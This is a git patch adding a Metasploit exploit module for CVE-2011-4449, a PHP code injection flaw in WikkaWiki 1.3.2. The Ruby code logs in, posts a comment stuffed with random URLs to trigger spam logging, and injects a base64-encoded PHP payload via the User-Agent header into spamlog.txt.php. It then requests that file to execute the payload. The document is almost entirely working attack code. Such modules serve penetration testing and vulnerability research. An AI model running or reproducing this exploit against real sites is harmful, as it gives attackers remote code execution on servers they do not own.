From 86c3ad5e0c829561a7855cb77e76a0e849a50159 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 10 May 2012 11:57:40 -0500 Subject: [PATCH] Add CVE-2011-4449 --- .../exploits/multi/http/wikka_spam_exec.rb | 235 ++++++++++++++++++ 1 file changed, 235 insertions(+) create mode 100644 modules/exploits/multi/http/wikka_spam_exec.rb diff --git a/modules/exploits/multi/http/wikka_spam_exec.rb b/modules/exploits/multi/http/wikka_spam_exec.rb new file mode 100644 index 0000000000..fa6f1f6c45 --- /dev/null +++ b/modules/exploits/multi/http/wikka_spam_exec.rb @@ -0,0 +1,235 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "WikkaWiki 1.3.2 Spam Logging PHP Injection", + 'Description' => %q{ + This module exploits a vulnerability found in WikkaWiki. When the spam logging + feature is enabled, it is possible to inject PHP code into the spam log file, and + then request it to execute our payload. There are at least three different ways + to trigger spam protection, this module does so by generating 10 fake URLs in a + comment (by default, the max_new_comment_urls parameter is 6). + + Please note that in order to use the injection, you must manually pick a page + first that allows you to add a comment, and then set it as 'PAGE'. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'EgiX', #Initial discovery, PoC + 'sinn3r' #Metasploit + ], + 'References' => + [ + ['CVE', '2011-4449'], + ['OSVDB', '77391'], + ['EDB', '18177'], + ['URL', 'http://wush.net/trac/wikka/ticket/1098'] + ], + 'Payload' => + { + 'BadChars' => "\x00" + }, + 'DefaultOptions' => + { + 'ExitFunction' => "none" + }, + 'Arch' => ARCH_PHP, + 'Platform' => ['php'], + 'Targets' => + [ + ['WikkaWiki 1.3.2 r1814', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => "Nov 30 2011", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('USERNAME', [true, 'WikkaWiki username']), + OptString.new('PASSWORD', [true, 'WikkaWiki password']), + OptString.new('PAGE', [true, 'Page to inject']), + OptString.new('TARGETURI', [true, 'The URI path to WikkaWiki', '/wikka/']) + ], self.class) + end + + + def check + res = send_request_raw({ + 'method' => 'GET', + 'uri' => "#{target_uri.path}wikka.php?wakka=HomePage" + }) + + if res and res.body =~ /Powered by WikkaWiki/ + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Safe + end + end + + + # + # Get the cookie before we do any of that login/exploity stuff + # + def get_cookie + res = send_request_raw({ + 'method' => 'GET', + 'uri' => "#{@base}wikka.php" + }) + + # Get the cookie in this format: + # 96522b217a86eca82f6d72ef88c4c7f4=pr5sfcofh5848vnc2sm912ean2; path=/wikka + if res and res.headers['Set-Cookie'] + cookie = res.headers['Set-Cookie'].scan(/(\w+\=\w+); path\=.+$/).flatten[0] + else + raise RuntimeError, "#{@peer} - No cookie found, will not continue" + end + + cookie + end + + + # + # Do login, and then return the cookie that contains our credential + # + def login(cookie) + # Send a request to the login page so we can obtain some hidden values needed for login + uri = "#{@base}wikka.php?wakka=UserSettings" + res = send_request_raw({ + 'method' => 'GET', + 'uri' => uri, + 'cookie' => cookie + }) + + # Extract the hidden fields + login = {} + if res and res.body =~ /\
.+\
(.+)\<\/fieldset\>.+\Login\/Register\<\/legend\>/m + fields = $1.scan(/\/) + fields.each do |name, value| + login[name] = value + end + else + raise RuntimeError, "#{@peer} - Unable to find the hidden fieldset required for login" + end + + # Add the rest of fields required for login + login['action'] = 'login' + login['name'] = datastore['USERNAME'] + login['password'] = datastore['PASSWORD'] + login['do_redirect'] = 'on' + login['submit'] = "Login" + login['confpassword'] = '' + login['email'] = '' + + port = (rport.to_i == 80) ? "" : ":#{rport}" + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => uri, + 'cookie' => cookie, + 'headers' => { 'Referer' => "http://#{rhost}#{port}#{uri}" }, + 'vars_post' => login + }) + + if res and res.headers['Set-Cookie'] =~ /user_name/ + user = res.headers['Set-Cookie'].scan(/(user_name\@\w+=\w+);/)[0] || "" + pass = res.headers['Set-Cookie'].scan(/(pass\@\w+=\w+)/)[0] || "" + cookie_cred = "#{cookie}; #{user}; #{pass}" + else + cred = "#{datastore['USERNAME']}:#{datastore['PASSWORD']}" + raise RuntimeError, "#{@peer} - Unable to login with \"#{cred}\"" + end + + return cookie_cred + end + + + # + # After login, we upload the PHP payload + # + def upload_exec(cookie) + # Get the necessary fields in order to post a comment + res = send_request_raw({ + 'method' => 'GET', + 'uri' => "#{@base}wikka.php?wakka=#{datastore['PAGE']}&show_comments=1", + 'cookie' => cookie + }) + + fields = {} + if res and res.body =~ /\
(.+)\<\/fieldset\>/m + $1.scan(/\/).each do |n, v| + fields[n] = v + end + else + raise RuntimeError, "#{@peer} - Cannot get necessary fields before posting a comment" + end + + # Generate enough URLs to trigger spam logging + urls = '' + 10.times do |i| + urls << "http://www.#{rand_text_alpha_lower(rand(10)+6)}.#{['com', 'org', 'us', 'info'].sample}\n" + end + + # Add more fields + fields['body'] = urls + fields['submit'] = 'Add' + + # Upload payload + b64_payload = Rex::Text.encode_base64(payload.encoded) + port = (rport.to_i == 80) ? "" : ":#{rport}" + uri = "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment" + post_data = "" + send_request_cgi({ + 'method' => 'POST', + 'uri' => "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment", + 'cookie' => cookie, + 'headers' => { 'Referer' => "http://#{rhost}:#{port}/#{uri}" }, + 'vars_post' => fields, + 'agent' => "" + }) + + send_request_raw({ + 'method' => 'GET', + 'uri' => "#{@base}spamlog.txt.php" + }) + end + + + def exploit + @peer = "#{rhost}:#{rport}" + + @base = target_uri.path + @base << '/' if @base[-1, 1] != '/' + + print_status("#{@peer} - Getting cookie") + cookie = get_cookie + + print_status("#{@peer} - Logging in") + cred = login(cookie) + + print_status("#{@peer} - Triggering spam logging") + upload_exec(cred) + + handler + end +end + + +=begin +For testing: +svn -r 1814 co https://wush.net/svn/wikka/trunk wikka + +Open wikka.config.php, do: +'spam_logging' => '1' +=end \ No newline at end of file